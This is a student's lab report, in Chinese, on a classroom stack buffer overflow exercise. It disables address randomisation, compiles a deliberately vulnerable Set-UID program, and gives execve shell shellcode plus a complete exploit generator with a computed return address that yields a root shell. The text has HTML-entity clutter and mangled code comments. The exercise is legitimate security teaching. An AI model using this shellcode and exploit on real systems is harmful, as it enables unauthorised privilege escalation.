20169205 2016-2017-2 实验三 缓冲区溢出漏洞实验

一、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制&＃xff0c;甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭&＃xff0c;溢出会引起返回地址被重写。

二、实验准备

系统用户名shiyanlou

实验楼提供的是64位Ubuntu linux&＃xff0c;而本次实验为了方便观察汇编语句&＃xff0c;我们需要在32位环境下作操作&＃xff0c;因此实验之前需要做一些准备。

1、输入命令安装一些用于编译32位C程序的东西&＃xff1a;


sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev

2、输入命令“linux32”进入32位linux环境。此时你会发现&＃xff0c;命令行用起来没那么爽了&＃xff0c;比如不能tab补全了&＃xff0c;所以输入“/bin/bash”使用bash&＃xff1a;

三、实验步骤

3.1 初始设置

Ubuntu和其他一些Linux系统中&＃xff0c;使用地址空间随机化来随机堆&＃xff08;heap&＃xff09;和栈&＃xff08;stack&＃xff09;的初始地址&＃xff0c;这使得猜测准确的内存地址变得十分困难&＃xff0c;而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中&＃xff0c;我们使用以下命令关闭这一功能&＃xff1a;

sudo sysctl -w kernel.randomize_va_space&＃61;0

此外&＃xff0c;为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击&＃xff0c;许多shell程序在被调用时自动放弃它们的特权。因此&＃xff0c;即使你能欺骗一个Set-UID程序调用一个shell&＃xff0c;也不能在这个shell中保持root权限&＃xff0c;这个防护措施在/bin/bash中实现。

linux系统中&＃xff0c;/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形&＃xff0c;我们使用另一个shell程序&＃xff08;zsh&＃xff09;代替/bin/bash。下面的指令描述了如何设置zsh程序&＃xff1a;

sudo sucd /binrm shln -s zsh shexit

3.2 shellcode

一般情况下&＃xff0c;缓冲区溢出会造成程序崩溃&＃xff0c;在程序中&＃xff0c;溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址&＃xff0c;那么程序就会跳转到该地址&＃xff0c;如果该地址存放的是一段精心设计的代码用于实现其他功能&＃xff0c;这段代码就是shellcode。

观察以下代码&＃xff1a;

int main( ){char *name[2];name[0] &＃61; ‘‘/bin/sh’’;name[1] &＃61; NULL;execve(name[0], name, NULL);}

本次实验的shellcode&＃xff0c;就是刚才代码的汇编版本&＃xff1a;

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

把以下代码保存为“stack.c”文件&＃xff0c;保存到 /tmp 目录下。代码如下&＃xff1a;

/ stack.c // This program has a buffer overflow vulnerability. // Our task is to exploit this vulnerability /int bof(char *str){char buffer[12];/ The following statement has a buffer overflow problem /strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile &＃61; fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;}

过代码可以知道&＃xff0c;程序会读取一个名为“badfile”的文件&＃xff0c;并将文件内容装入“buffer”。

编译该程序&＃xff0c;并设置SET-UID。命令如下&＃xff1a;

sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.cchmod u&＃43;s stackexit

一种栈保护机制来阻止缓冲区溢出&＃xff0c;所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈。

3.4 攻击程序

我们的目的是攻击刚才的漏洞程序&＃xff0c;并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件&＃xff0c;保存到 /tmp 目录下。代码如下&＃xff1a;

/ exploit.c // A program that creates a file containing code for launching shell/char shellcode[]&＃61;"\x31\xc0" //xorl %eax,%eax"\x50" //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin" //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99" //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv){char buffer[517];FILE *badfile;/ Initialize buffer with 0x90 (NOP instruction) /memset(&buffer, 0x90, 517);/ You need to fill the buffer with appropriate contents here /strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");strcpy(buffer&＃43;100,shellcode);/ Save the contents to the file "badfile" /badfile &＃61; fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);}

注意上面的代码&＃xff0c;“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址&＃xff0c;因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer&＃43;100,shellcode); 这一句又告诉我们&＃xff0c;shellcode保存在 buffer&＃43;100 的位置。

现在我们要得到shellcode在内存中的地址&＃xff0c;输入命令&＃xff1a;

gdb stackdisass main

结果如图&＃xff1a;

下来的操作&＃xff1a;

根据语句 strcpy(buffer&＃43;100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)&＃43;100(十进制)&＃61;0xffffd084(十六进制)

现在修改exploit.c文件&＃xff01;将 \x??\x??\x??\x?? 修改为 \x84\xd0\xff\xff

结果&＃xff1a;

可见&＃xff0c;通过攻击&＃xff0c;获得了root权限&＃xff01;

四、实验问题与解决

实验过程非常顺利&＃xff0c;不过有一点疑问&＃xff1a;缓冲区溢出的后果有哪些&＃xff1f;

解决

1、淹没了其他的局部变量。如果被淹没的局部变量是条件变量&＃xff0c;那么可能会改变函数原本的执行流程。这种方式可以用于破解简单的软件验证。
2、淹没了ebp的值。修改了函数执行结束后要恢复的栈指针&＃xff0c;将会导致栈帧失去平衡。
3、淹没了返回地址。这是栈溢出原理的核心所在&＃xff0c;通过淹没的方式修改函数的返回地址&＃xff0c;使程序代码执行“意外”的流程&＃xff01;
4、淹没参数变量。修改函数的参数变量也可能改变当前函数的执行结果和流程。
5、淹没上级函数的栈帧&＃xff0c;情况与上述4点类似&＃xff0c;只不过影响的是上级函数的执行。当然这里的前提是保证函数能正常返回&＃xff0c;即函数地址不能被随意修改。

五、实验体会

由于对linux的理解比较深入&＃xff0c;本次实验过程比较顺利。

学习这个实验加深了我对缓冲区溢出漏洞的理解&＃xff0c;熟悉了网络攻防的相关知识&＃xff0c;增强了自己的动手能力。、

希望以后能更多的进行此类锻炼。